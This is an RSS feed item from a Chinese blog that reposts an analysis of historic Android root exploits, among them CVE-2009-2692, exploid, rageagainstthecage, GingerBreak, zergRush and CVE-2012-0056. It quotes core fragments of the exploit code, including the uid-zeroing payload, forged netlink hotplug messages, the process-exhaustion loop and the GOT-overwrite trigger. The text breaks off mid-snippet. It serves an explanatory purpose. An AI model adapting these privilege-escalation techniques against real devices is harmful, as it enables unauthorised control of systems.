<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></title> 
<link>http://jackxiang.com/index.php</link> 
<description><![CDATA[赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></copyright>
<item>
<link>http://jackxiang.com/post//</link>
<title><![CDATA[转贴，Android手机一键Root原理分析，如何获取到root的原理分析。]]></title> 
<author>jack &lt;xdy108@126.com&gt;</author>
<category><![CDATA[Unix/LinuxC技术]]></category>
<pubDate>Fri, 21 Nov 2014 09:50:11 +0000</pubDate> 
<guid>http://jackxiang.com/post//</guid> 
<description>
<![CDATA[ 
	背景：android手机是linux内核的手机，当然linus自己可能发现漏洞，但同时其linux是开源的，代码是公开的，只要能读取其root的一个su的机制，及内核相关权限代码，可能发现各种漏洞，有些漏洞是内核自己的，比如linus作为linux之父亲，自己都提交一个，有些呢是程序调用时需要用root去获取如某些设备权限等，此时会编译原理的大牛就可以在此处作文章了，经过努力是可以实现提权的，再就是利用如linux下多进程的原理：如linux内核会对孤儿进程会用1号进程去收养，恶意创建N多进程后，其adb崩溃重启瞬间没法让1号进程去执行降权，此时adb就是root，这是一个内核和应用程序相结合的提权，总之，提权这种事情都对linux的内核较熟悉，对多进程啊，对哪些地方需要root的代码有研究，也就是黑发生在内部，提权拿钱这种事情，不光linux系统，人类这个大的系统也有类似的情形，叫专政策漏洞，在法律灰色地带干赚钱，法律这套体系已经被他摸透了，已经被root了，法律不健全，或故意不打补丁引起的，所以需要开源、开放、透明，一块打补丁，所谓政策开放、透明、在法制下阳光运行就是这个理儿。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 一直以来，刷机与Root是Android手机爱好者最热衷的事情。即使国行手机的用户也不惜冒着失去保修的风险对Root手机乐此不疲。就在前天晚上，一年一度的Google I/O大会拉开了帷幕，最新的Android4.1系统成为了大会的热点，经过短短的几个小时后，网上就有人泄露了Jelly Bean的下载地址，再然后就有了Android 4.1带Root的完整刷机包，真是强大的人们！Root的由来什么是Root?Root本身是指Linux系统的root帐户，该帐户拥有整个系统至高无上的权利，系统中的所有对象它都可以操作，对于Android手机用户来说的Root是指拥有Root权限，一般情况下，手机厂商出于安全考虑会关闭手机的Root权限，手机系统是运行在普通用户权限下的，用户是无法操作系统中的文件与数据的。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>Root与刷机本身是有很多关联的，而且随着刷机工具的便利与刷机原理的变化，两者的关系更加是模糊不清了。不同厂商针对获取Root权限设置了不同的要塞。首先从刷机说起，如HTC手机在刷机前需要保证S-OFF，S-OFF代表什么呢？S代表SecurityLock安全锁，保护锁的意思，S-OFF就是关掉锁保护。然后是Motorola的手机，这个厂商对于不同型号的手机设置是不同的，很多Motorola型号的手机将BootLoader是锁住的，因此，在刷机前需要先解锁BootLoader。还有中兴手机，这厂商更是变态，一次次的版本升级只是为了锁住用户不让用户升级，也就导致了同一型号的手机由于版本不同有的型号带Recovery，有的又不带。三星的手机现在可以说是最好卖的，一方面是出色的硬件配置与外观，另一方面是有众多的Rom包可以刷。三星的好几款手机是Google源码的测试样机，而且三星手机在出厂时对用户的限制相比其它品牌是较少的，这也是广大Android开发者对它青睐有加的原因。早先的Android手机要想获取Root权限可以有以下几种方式：使用本地提权漏洞利用工具来直接Root，这是最原始最纯洁的方式。随着厂商对Rom的升级，这些内核的漏洞随时都可能被修补，因此，这种Root方法在时间与空间上都有着很大的局限性。由于手机厂商对硬件的封闭，加上内核补丁修补很完全，这个时候获取Root权限就更难了，这个时候刷机与Root就联合起来了，由于不能从系统内部通过Exploits来获取Root权限，只能通过修改Rom包来达到Root的目的，这也是目前很多第三方Rom包自带了Root的原因，然而手机厂商也不是吃干饭的，手机厂商在OTA升级时使用Recovery对包签名进行验证来防止用户刷入修改过的包。对于这种变态的厂商，只能通过FastBoot来线刷了，这里内容就不再展开了。当然，还有一部分厂商，为了吸引更多用户购买他们的手机，还是在手机中偷偷的留了后门的，比如不锁BootLoader，让用户刷第三方的Recovery，又或是干脆留个以前的漏洞不补，让用户自己来Exploits等等。Root漏洞的历史&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>Root漏洞不是与生俱来的，这是全世界优秀的计算机黑客不懈努力的成果。也许那个你在夜店喝酒的夜晚，他们正寻找着系统的漏洞，一次次的测试，一次次的失败，最终在你醉得不省人事的时候，他们获取到了系统的最高控制权。他们欢呼，他们嚎叫，他们是全天下是聪明的人！也许你对他们的事迹不屑一顾，但我相信你对他们的研究成果是饶有兴趣的。下来由我来带领大家，看看这一路走来，都出现过哪里牛人，他们又为我们带来了哪些惊喜。<br/><br/>CVE-2009-2692我无法知道Android提权漏洞是从哪个开始的，但我在我印象中，它是最早的。这个漏洞的发现者是Zinx，他是探索Android安全之路的先驱。现在每个Root后的手机中肯定有SuperUser.apk软件，而Zinx就是早先SuperUser的作者，现在SuperUser由ChainsDD来负责更新了，Zinx前辈常年混迹于国外xda论坛，不过现在好像很少露面了。这个洞是09年的，现在早已经修补了。从Zinx提供的android-root-20090816.tar.gz压缩包时间来看，这个Exploit是在Android NDKr1发布后近两个月公布的，可见Zinx研究Android的时间是多么的早！这个洞的原作者并不是Znix，Znix只是将洞移植到了Android上，这个洞的作者在Exploit中给出的协议驱动程序包括pppox, bluetooth, appletalk, ipx, sctp，Znix改写的Android版本使用的buletooth协议。这个漏洞的起因是sock_sendpage()的空指针解引用。因为sock_sendpage没有对socket_file_ops结构的sendpage字段做指针检查，有些模块不具备sendpage功能，初始时赋为NULL，这样，没有做检查的sock_sendpage有可能直接调用空指针而导致出错并提升权限！接着，sendfile(fdout,fdin, NULL, PAGE_SIZE);的调用使得该洞被触发，最终执行以下代码获取到Root权限：<br/><br/>int__attribute__((section(&quot;.null&quot;))) root_sendpage(void *sk, void *page,int offset, size_t size, int flags)<br/><br/>&#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current-&gt;uid = current-&gt;euid = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current-&gt;gid = current-&gt;egid = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; got_root = 1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -ECONNREFUSED;<br/><br/>&#125;<br/><br/>CVE-2010-EASY这个漏洞是由“The AndroidExploid Crew”小组发现的。在公布的代码中，提供了多达三种的提权方法！分别是exploid.c、exploid2.c、rageagainstthecage.c三个文件。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exploid.c与属于exploid2.c同一类Exploit，这个洞的形成是由于udev对热插拔消息检测不严导致的，用户通过发送恶意信息让内核加载自定义的恶意程序从而取得root权限。在代码中，两者都是通过NET_LINK来完成通信，只是在处理“geteuid() == 0”时代码不同而以，程序发送伪热插拔消息，让内核执行自身代码，而内核由于没有检查消息发送者是内核还是用户，就匆忙的执行了，这时“geteuid() == 0”条件成立，接下来只需开个sh就完成了Root工作。创建Socket并发送消息的代码如下：<br/><br/>if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT))&lt; 0)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die(&quot;[-] socket&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close(creat(&quot;loading&quot;, 0666));<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ((ofd =creat(&quot;hotplug&quot;, 0644)) &lt; 0)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die(&quot;[-] creat&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (write(ofd, path ,strlen(path)) &lt; 0)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die(&quot;[-] write&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(ofd);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; symlink(&quot;/proc/sys/kernel/hotplug&quot;,&quot;data&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;snprintf(buf, sizeof(buf),&quot;ACTION=add%cDEVPATH=/..%s%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;SUBSYSTEM=firmware%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;FIRMWARE=../../..%s/hotplug%c&quot;, 0, basedir, 0, 0,basedir, 0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;[+] sending addmessage ...&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (sendmsg(sock, &amp;msg, 0)&lt; 0)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die(&quot;[-] sendmsg&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(sock);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rageagainstthecage.c这个洞有人把它称为setuid提权漏洞，这个漏洞的形成过程我个人感觉只能用“巧妙”来形容！代码通过将adbd后台服务子进程耗尽迫使adbd重启，adbd在重启的时候具有root权限，正常情况下这时adbd会调用setuid将权限降到shell，但是由于rageagainstthecage让adbd的僵尸进程充斥着整个系统，这时候setuid会调用失败，最后adbd就被保留了root权限运行，从而完成root提权。核心代码如下：<br/><br/>&nbsp;&nbsp;if (fork() &gt; 0)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setsid();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pipe(pepe);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(fork() == 0) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close(pepe[0]);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (;;) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((p =fork()) == 0) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125; elseif (p &lt; 0) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (new_pids) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;[+]Forked %d childs.&quot;, pids);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new_pids = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(pepe[1],&amp;c, 1);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(pepe[1]);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125; else &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++pids;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(pepe[1]);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;read(pepe[0], &amp;c, 1);<br/><br/>第1-3行代码fork子进程后退出，第4-6行子进程独立并创建两支管道同来同步进程，具体是由第8行与第25行是一关一读来实现的，第10-11行是不停的创建子进程，然后不停退出，这时僵尸产生了！直到最后p &lt; 0输出创建的子进程数目。在这段代码执行完后会重启adb进程，adb进程重启会执行setgid(AID_SHELL)与setuid(AID_SHELL)两行代码来降权，可是这时候由于进程数达到上限setuid执行失败，这就使得adb进程以Root权限继续执行下去了。GingerBreak&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GingerBreak本身不是Linux内核漏洞，因此它没有正规的漏洞编号。与上面的漏洞同样的是，GingerBreak也是由“The Android Exploid Crew”小组“发明”的，它的工作原理与Hook类似，通过代码修改/system/bin/vold程序的GOT表项，将strcmp()、atoi()等函数的地址为system()函数的地址，然后触发调用strcmp()或atoi()来达到执行system()的目的，而后者真正被执行后会为我们来带久违的Root Shell，修改函数地址的代码片断如下：<br/><br/>vold.pid = found;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vold.found = 1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(vold.system)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr =find_symbol(&quot;system&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vold.system = (uint32_t)ptr;<br/><br/>在修改完函数地址后，就要考虑如何来触发了，“TheAndroid Exploid Crew”小组再一次使用了NET_LINK进行通信，通过发送热插拔消息让void中的strcmp()或atoi()被调用！但不同的Android系统版本可能操作起来有所不同，于是，需要手工构造消息，然后发送：<br/><br/>/* Trigger any of the GOT overwritenstrcmp(), atoi(), strdup() etc.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *inside vold main binary.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *Arent we smart? Using old school technique from &#039;99 to fsck NX while others<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *re-invent &quot;ROP&quot;. Wuhahahahaha!!!<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(honeycomb) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = snprintf(buf, sizeof(buf),&quot;@/foo%cACTION=add%cSUBSYSTEM=block%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;SEQNUM=%s%cDEVPATH=%s%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1&quot;,<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh,0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;else if (froyo) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = snprintf(buf, sizeof(buf),&quot;@/foo%cACTION=add%cSUBSYSTEM=block%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;DEVPATH=%s%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1&quot;,<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0, 0, 0, bsh, 0, 0, vold.system, 0, 0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;else &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = snprintf(buf, sizeof(buf),&quot;%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;SEQNUM=%s%cDEVPATH=%s%c&quot;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1&quot;,<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0,0, vold.system, 0, 0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>可以看到，代码的适用范围是froyo到honeycomb，仔细看一下代码的注释部分，代码的作者真的卡哇伊呢！zergRush同GingerBreak一样，zergRush也不属于内核漏洞。这个漏洞是大名鼎鼎的Revolutionary工具开发小组公布的，这个小组开发的Revolutionary解锁工具对于HTC的用户应该不陌生吧！这个漏洞的原理是由于libsysutils.so库中的FrameworkListener::dispatchCommand函数的一个栈变量引起的，栈变量argv[FrameworkListener::CMD_ARGS_MAX]由于允许的最大下标为16，如果我们特意传送超过16个空格分割的字符串，函数就会溢出。整个溢出工具的代码框架与GingerBreak是一样的，我估计是在GingerBreak代码基础上加工的，嘿嘿，整个代码的核心部分在do_fault函数中，代码设计十分巧妙，经过精心的构造最终执行安排的Shellcode，整个过程通过代码阅读很难在大脑中建立模型结构，建议还是手动调试好。以上介绍的几个漏洞代码都是优秀的，无可挑剔的，它们目前在全球各地以各种名称与形式存在着。CVE-2012-0056&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2012年1月23日，正当我们与家人聚在一起吃团年饭的时候，国外的小伙zx2c4在自己的主页上公布了此漏洞，随后，xda上的网友saurik对其编写了Android版本的Exploit。这个漏洞的原理是利用系统中具体s属性的程序通过自修改程序的内存，执行Shellcode达到获得Root权限的目的。完成修改进程内存的动作前需要解决两个问题：系统只允许$pid进程或者$pid的调试进程对/proc/$pid/mem文件进行写入。系统会检查打开/poc/$pid/mem的程序的self_exec_id是否与当前运行的程序相同，一个进程使用exec()后self_exec_id会自动加一，以此来保护内存不会被别的程序修改。解决第一个问题很简单，可以直接打开自己进程的内存即可，第二个问题就难办了，因为进程打开自己时self_exec_id已经加一了，zx2c4使用子进程来巧妙的解决了这个问题，首先fork()子进程来保存进程的mem文件到CMSG_DATA,然后父进程使用dup(2)创建2号fd，接着dup2(mem, 2)将mem的内容dup2给2号fd，这时2号fd指向了/poc/$pid/mem的fd，下一步是构造参数args，调用&quot;/system/bin/run-as&quot;来执行Exploit，代码如下：<br/><br/>……<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;intsave = dup(2);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;dup2(mem, 2);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;close(mem);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (save != 3) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dup2(save, 3);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 